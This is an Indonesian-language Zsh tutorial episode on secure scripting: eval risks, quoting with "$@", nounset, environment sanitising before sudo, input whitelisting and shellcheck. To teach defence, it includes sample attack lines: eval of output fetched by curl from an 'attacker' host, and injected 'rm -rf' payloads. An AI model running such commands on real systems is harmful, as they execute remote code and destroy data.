Menulis skrip Zsh yang aman dari sudut pandang keamanan: bahaya eval pada input tak dipercaya, mencegah shell injection dengan quoting yang disiplin termasuk "$@", mengaktifkan nounset sebagai guard, sanitasi environment sebelum privilege escalation, dan memvalidasi skrip dengan shellcheck

Setelah di episode 16 kalian menguasai error handling dan debugging, pada episode ini kita membahas aspek yang sering diabaikan sampai terlambat: keamanan skrip shell. Skrip shell yang ceroboh bisa menjadi pintu masuk eksekusi kode arbitrer — baik karena input pengguna yang tidak disanitasi, eval yang ceroboh, atau quoting yang salah.
Kabar baiknya, prinsip keamanan skrip shell itu sederhana dan bisa dihafal: jangan pernah mengeksekusi data sebagai kode tanpa memvalidasi. Episode ini mengubah prinsip itu menjadi kebiasaan konkret: menghindari eval, quoting disiplin dengan "$@", guard nounset, sanitasi environment, dan validasi dengan shellcheck.
eval mengeksekusi string sebagai perintah. Segera berbahaya saat string berasal dari input eksternal:
user_input="$(curl -s http://attacker/input)"
eval "$user_input" # BISA mengeksekusi apa pun!Jika user_input berisi $(rm -rf ~), eval akan menjalankannya. Kasus paling umum eval menyusup: mengevaluasi variabel yang berisi tanda kutip user, atau membangun perintah dari teks.
Danger
Aturan emas: jangan pernah menaruh input pengguna (HTTP request, argumen CLI, isi file) di dalam eval atau dalam string yang akan di-eval. Hampir selalu ada alternatif: gunakan array, case, atau jalankan binary langsung dengan argumen sebagai array.
Alternatif aman untuk pola "jalankan perintah dinamis":
# BERBAHAYA:
# eval "rm -r $path"
# AMAN — argumen sebagai array, tidak ada interpretasi shell:
rm -r -- "$path"
# Pilih perintah via case, bukan eval:
case "$action" in
start|stop|restart) systemctl "$action" "$service" ;;
*) print "invalid" >&2; return 1 ;;
esacShell injection terjadi saat data masuk ke perintah dan diinterpretasi sebagai shell syntax. Contoh klasik:
# Script menerima nama file dari argumen user:
# ./script.sh "; rm -rf /tmp"
# Jika ditulis: git add $1
# Shell mengeksekusi `rm -rf /tmp` juga!
git add -- "$1" # aman: $1 diperlakukan sebagai SATU argumenKuncinya adalah quoting disiplin:
"$1", "$@", "$var".unquoted variabel yang bisa mengandung spasi atau karakter shell.-- untuk mengakhiri opsi (agar nama file yang diawali - tidak dianggap opsi).Pola "$@" mempertahankan setiap argumen sebagai satu unit terpisah — termasuk spasi dan karakter aneh di dalamnya:
run() {
print "argumen: $#"
for a in "$@"; do print " [$a]"; done
}
run "a b" "c" # 2 argumen: [a b], [c]
run $@ # BERBAHAYA: terpecah jadi [a], [b], [c]
run "$@" # benar: tetap [a b], [c]Penerapan pada perintah nyata:
git_add() {
git add -- "$@"
}
git_add "file dengan spasi.txt" "-nama-aneh.log"Tanpa "$@", file bernama file dengan spasi.txt akan dipecah menjadi dua argumen dan gagal. Ini adalah bug + potensi injection dalam satu.
Dari episode 11, nounset mengubah penggunaan variabel yang belum didefinisikan menjadi error:
setopt nounset
print "$UNDEFINED" # error: UNDEFINED: unbound variableManfaat keamanan: mencegah ekspansi "variabel kosong" yang tanpa sadar menjadi argumen berbahaya. Contoh: rm -rf "$PREFIX" jika PREFIX tidak ter-set → tanpa nounset menjadi rm -rf (bahaya!), dengan nounset langsung error.
Warning
Kombinasi set -euo pipefail (episode 11) + "$@" + tanpa eval adalah tiga pilar skrip aman. Tapi ingat: errexit dan nounset melindungi dari kecelakaan, bukan dari musuh yang sengaja menyerang — input tak dipercaya tetap harus divalidasi secara eksplisit.
Saat skrip berjalan dengan hak istimewa (misal via sudo), environment yang kotor bisa dieksploitasi. Variabel seperti PATH, LD_PRELOAD, BASH_ENV/ENV, dan PYTHONPATH bisa memengaruhi eksekusi.
Praktik sanitasi:
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
sudo -E -u serviceuser ./deploy.sh # -E mempertahankan env, hati-hatifor v in PATH LD_PRELOAD BASH_ENV PYTHONPATH; do
print "$v=${(P)v}"
donePoin penting: saat menggunakan sudo dengan skrip, panggil perintah dengan path absolut atau PATH yang sudah ditetapkan ulang, dan waspadai LD_PRELOAD (library berbahaya) yang bisa diinjeksi lewat env.
Skrip yang menerima input harus memvalidasi lebih dulu:
usage() {
print "usage: $0 <env> <service>" >&2
return 1
}
main() {
local env=$1 service=$2
[[ -z "$env" || -z "$service" ]] && return $(usage)
# Whitelist environment — jangan terima sembarang nilai
case "$env" in
dev|staging|prod) ;;
*) print "env tidak valid: $env" >&2; return 1 ;;
esac
# Jalankan dengan args sebagai array
kubectl --context="$env" rollout status deployment/"$service"
}Whitelist lebih aman daripada blacklist: nilai yang tidak dikenal langsung ditolak, bukan dicoba difilter.
shellcheck mendeteksi ratusan kategori bug termasuk quoting, injection, dan masalah portabilitas. Ini wajib di pipeline:
sudo apt install shellcheck
brew install shellcheckshellcheck script.zsh
# SC2086: Double quote to prevent globbing and word splitting.Kode seperti SC2086 (quoting), SC2046 (command substitution tanpa quote), SC2164 (cd tanpa guard) ditemukan secara otomatis. Untuk skrip Zsh spesifik, gunakan shebang dan konfigurasi shell:
shellcheck --shell=zsh script.zshTip
Shellcheck yang bersih + zsh -n (episode 16) di CI adalah fondasi kualitas skrip. Detail integrasi CI dibahas lengkap di episode 19 bersama zunit.
eval untuk "kemudahan" — selalu ganti dengan array/case.$@ — argumen dengan spasi jadi terpecah; selalu "$@".rm -rf "$VAR" tanpa nounset — jika VAR kosong, perintah jadi rm -rf yang berbahaya.PATH/LD_PRELOAD sebelum menjalankan dengan hak tinggi.Inti yang harus dibawa pulang:
eval input tak dipercaya; ganti dengan array atau case whitelist."$@" untuk semua argumen, -- untuk mengakhiri opsi.setopt nounset mencegah ekspansi variabel kosong yang berbahaya.PATH/LD_PRELOAD sebelum privilege escalation.Di episode 18 selanjutnya kita akan membahas networking & remote workflows — menulis helper SSH/SCP, alias rsync untuk sinkronisasi, wrapper curl/wget, dan memanfaatkan completion bawaan Zsh untuk Docker, kubectl, dan git dalam workflow remote harian. Sampai jumpa di episode 18!